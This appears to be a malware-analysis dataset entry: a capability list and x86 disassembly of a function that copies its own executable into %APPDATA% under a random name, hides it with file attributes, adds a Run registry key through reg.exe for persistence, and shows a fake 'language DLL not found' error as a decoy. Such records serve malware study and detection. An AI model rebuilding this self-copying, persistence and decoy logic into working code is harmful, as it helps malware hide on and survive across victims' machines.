Function at 0x403230
Capabilities:
Copy file
Create process on windows
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
mov al, byte [0x40e43e]
sub esp, 0x480
test al, 0x40
push esi
push edi
je 0x40326e
mov ecx, 8
xor eax, eax
lea edi, [esp + 8]
push 1
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0xc]
lea eax, [esp + 0xc]
and edi, 0xffff7ff6
push 0x40021
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.SHELL32.dll_SHGetSetSettings]
lea ecx, [esp + 0x280]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x28]
push 0x104
push edx
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x385]
mov byte [esp + 0x384], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x384]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x28]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x284]
push ecx
push edx
call fcn.00406490
add esp, 0xc
test eax, eax
je 0x403535
push ebp
push 0x1a
call fcn.004038b0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004038b0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004038b0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004038b0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004038b0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004038b0
add esp, 4
add eax, 0x61
push eax
lea eax, [esp + 0x148]
push str._c_c_c_c_c_c.exe
push eax
call dword [0x40fb98]
mov edi, 0x40e788
or ecx, 0xffffffff
xor eax, eax
add esp, 0x20
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x2c]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x2c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x134]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x30]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test byte [0x40e43e], 0x80
je 0x4033f8
lea edx, [esp + 0x2c]
push 7
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
or ecx, 0xffffffff
mov edi, str._ADD__HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun___V__My_App___t_REG_SZ__F__D__
xor eax, eax
lea edx, [esp + 0x180]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x180]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x30]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x188]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40e72c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x188]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.reg.exe
push str.OPEN
push 0
call esi
lea ecx, [esp + 0x388]
push 0
push ecx
lea edx, [esp + 0x34]
push 0
push edx
push str.OPEN
push 0
call esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x284]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x284]
mov eax, ecx
mov esi, edi
mov edi, edx
pop ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, byte [0x40e43f]
and ecx, 3
test al, 1
rep movsb byte es:[edi], byte [esi]
je 0x403527
push 0x10
push str.Project1
push str.The_language_DLL_vb6k0.dll_could_not_be_found.
push 0
call dword [0x40fb9c]
test byte [0x40e43e], 2
je 0x40353e
call fcn.00402b40
pop edi
pop esi
add esp, 0x480
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]